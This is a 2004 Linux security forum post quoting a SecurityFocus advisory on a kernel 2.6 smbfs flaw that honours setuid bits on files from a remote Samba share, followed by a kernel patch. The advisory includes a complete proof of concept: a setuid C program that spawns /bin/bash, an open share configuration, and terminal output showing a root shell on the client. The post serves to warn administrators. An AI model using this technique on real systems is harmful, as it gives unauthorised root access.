LinuxQuestions.org
Download your favorite Linux distribution at LQ ISO.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices

Reply
 
Search this Thread
Old 02-15-2004, 05:27 AM   #1
chort
Senior Member
 
Registered: Jul 2003
Location: Silicon Valley, USA
Distribution: OpenBSD 4.6, OS X 10.6.2, CentOS 4 & 5
Posts: 3,660

Rep: Reputation: 69
WARN: Kernel 2.6/Samba privilage escalation vuln


From: http://www.securityfocus.com/bid/9619/

Quote:
Discussion:
A local privilege escalation vulnerability has been reported to affect the 2.6 Linux kernel.

The issue appears to exist due to a lack of sufficient sanity checks performed when executing a file that is hosted on a remote Samba share. An attacker may exploit this condition to gain elevated privileges, as the setuid/setgid bit of a remote file is honored on the local system.
Quote:
Exploit:
The following example has been supplied:
"share" - smb server
"slovakia" - smb client

misko@slovakia:~$ smbmount --version
Usage: mount.smbfs service mountpoint [-n] [-o options,...]
Version 3.0.1-Debian

misko@slovakia:~$ ls -l /usr/bin/smbmount
- - -rwxr-xr-x 1 root root 591756 2004-01-13 20:29 /usr/bin/smbmount
misko@slovakia:~$ ls -l /usr/bin/smbmnt
- - -rwsr-sr-x 1 root root 8088 2004-01-13 20:29 /usr/bin/smbmnt
^

Confirmed to be default on Debian and Mandrake.

share:/data/share# cat a.c
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

share:/data/share# make a
cc a.c -o a
share:/data/share# chmod +s a
share:/data/share#

share:/etc/samba/smb.conf

[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share

share:/data/share# ls -l a
- - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a

misko@slovakia:~$ ls -l pokus/a
- - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a
misko@slovakia:~$ pokus/a
root@slovakia:~# id
uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)
root@slovakia:~#
Quote:
Solution:
Workaround:
Urban Widmark has supplied the following unsupported untested patch for 2.6.3-rc1 Kernel:

diff -urN -X exclude linux-2.6.3-rc1-orig/fs/smbfs/proc.c linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c
- --- linux-2.6.3-rc1-orig/fs/smbfs/proc.c Mon Feb 9 19:08:39 2004
+++ linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c Mon Feb 9 21:43:08 2004
@@ -546,7 +546,8 @@

#define MAX_FILE_MODE 6
static mode_t file_mode[] = {
- - S_IFREG, S_IFDIR, S_IFLNK, S_IFCHR, S_IFBLK, S_IFIFO, S_IFSOCK
+ S_IFREG, S_IFDIR, S_IFLNK, S_IFREG /* S_IFCHR */, S_IFREG /* S_IFBLK */,
+ S_IFIFO, S_IFSOCK
};

static int smb_filetype_to_mode(u32 filetype)
@@ -567,9 +568,9 @@
if (mode & S_IFLNK)
return UNIX_TYPE_SYMLINK;
if (mode & S_IFCHR)
- - return UNIX_TYPE_CHARDEV;
+ return UNIX_TYPE_FILE /* UNIX_TYPE_CHARDEV */ ;
if (mode & S_IFBLK)
- - return UNIX_TYPE_BLKDEV;
+ return UNIX_TYPE_FILE /* UNIX_TYPE_BLKDEV */ ;
if (mode & S_IFIFO)
return UNIX_TYPE_FIFO;
if (mode & S_IFSOCK)
@@ -1834,6 +1835,7 @@
static void
smb_finish_dirent(struct smb_sb_info *server, struct smb_fattr *fattr)
{
+ fattr->f_mode &= ~(S_ISGID | S_ISUID);
if (fattr->f_unix)
return;

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.
The above is excepted from www.securityfocus.com. Follow the link at the top of this post for the full information (including credits, etc).
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
WARN: Samba Vulnerability Capt_Caveman Linux - Security 0 12-17-2004 11:59 PM
WARN: Kernel vuln: MCAST_MSFILTER (2.4.22/2.6.1) unSpawn Linux - Security 5 05-04-2004 01:41 PM
WARN: Major kernel vuln: affects 2.6.x + 2.4.x + 2.2.x chort Linux - Security 31 02-18-2004 07:15 PM
WARN: kernel local vuln.: upgrade to 2.4.23 or 2.6.0-test6 unSpawn Linux - Security 14 12-27-2003 01:37 PM
Samba Administrator does not have privilage to change local machine password vijayandra Linux - Networking 0 11-20-2003 10:26 AM


All times are GMT -5. The time now is 12:40 PM.

Main Menu
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
identi.ca: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration